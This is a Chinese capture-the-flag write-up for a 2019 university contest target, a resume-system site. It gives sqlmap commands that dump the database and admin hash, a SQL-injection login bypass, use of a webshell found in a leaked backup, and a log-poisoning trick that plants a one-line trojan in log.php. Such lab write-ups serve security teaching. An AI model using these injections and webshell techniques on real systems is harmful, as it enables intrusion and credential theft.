题目描述
2019防灾科技学院 “应急挑战杯” 大学生网络安全邀请赛 AWD 靶机题目。不是黑盒,本地有源码可以白盒审计。
Solution
打开题目,是一个简历系统登陆页面:

首先我们猜想是弱密码,用 Burpsuite 去暴力破解,没有成功。
验证 SQL 注入
之后我们猜想是 SQL 注入,用 Burpsuite 观察请求包,发现是用 POST 传递数据的,我们使用 SQLMap 去跑,发现注入点是基于时间的盲注。
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 --dbs

我们发现有geez数据库,继续查它有哪些表:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez --tables

有一张users表。我们继续看看它的表结构:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users --columns

我们先关注username字段:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users -C username --dump

它只有一个用户admin,再看看password字段:
sqlmap -u "http://www.bmzclub.cn:24130/index.php?c=User&a=login" --data "username=admin&password=password" --batch --thread 4 -D geez -T users -C password --dump

我们用hashid命令或hash-identifier看看它可能是哪些哈希:

我们优先考虑 MD5 哈希,去 MD5 hash cracker 尝试破解,得到一个结果:

我们尝试用admin:admin445登陆。
也可以使用万能密码登陆,账号是:admin' or 1=1 #,密码是1。
发现有个后台主页,可以上传文件:

我们尝试上传正常图片,却遇到服务器后端报错:

我们只能尝试别的方法。
审计备份文件
我们用 dirsearch 扫描目录:

扫描到网站备份文件,我们下载下载,火绒会报毒:

我们打开压缩包,找到在include目录下确实有一个 WebShell 文件:

我们直接用蚁剑连接 WebShell:

最后我们在/目录下找到 Flag 文件:

验证日志文件
在上一步我们还发现服务器有一个log.php文件,打开一看,发现所有的 GET、POST 请求都会被记录到这个文件里:

如果我们给主要发送一个 POST 请求,请求的内容包含了一句话木马,那一句话木马也会被记录到log.php里,这样一来log.php文件就可以被当成 WebShell 被蚁剑这一类工具连接了。我们试一试,向主页发送包含一句话木马的 POST 请求:

可以看到我们写入的东西被记录到 Log 里了:

我们尝试一下能不能用蚁剑访问 WebShell:

我们进入控制台,输入命令find / -iname flag找 Flag 文件的位置,最后发现它在/目录下,我们用cat命令查看即可:

参考资料
- YJTZB_2019/writeup.pdf at master · GinkgoTeam/YJTZB_2019 (github.com)
- [BZMCTF]综合渗透部分 writeup_shu天的博客-CSDN博客
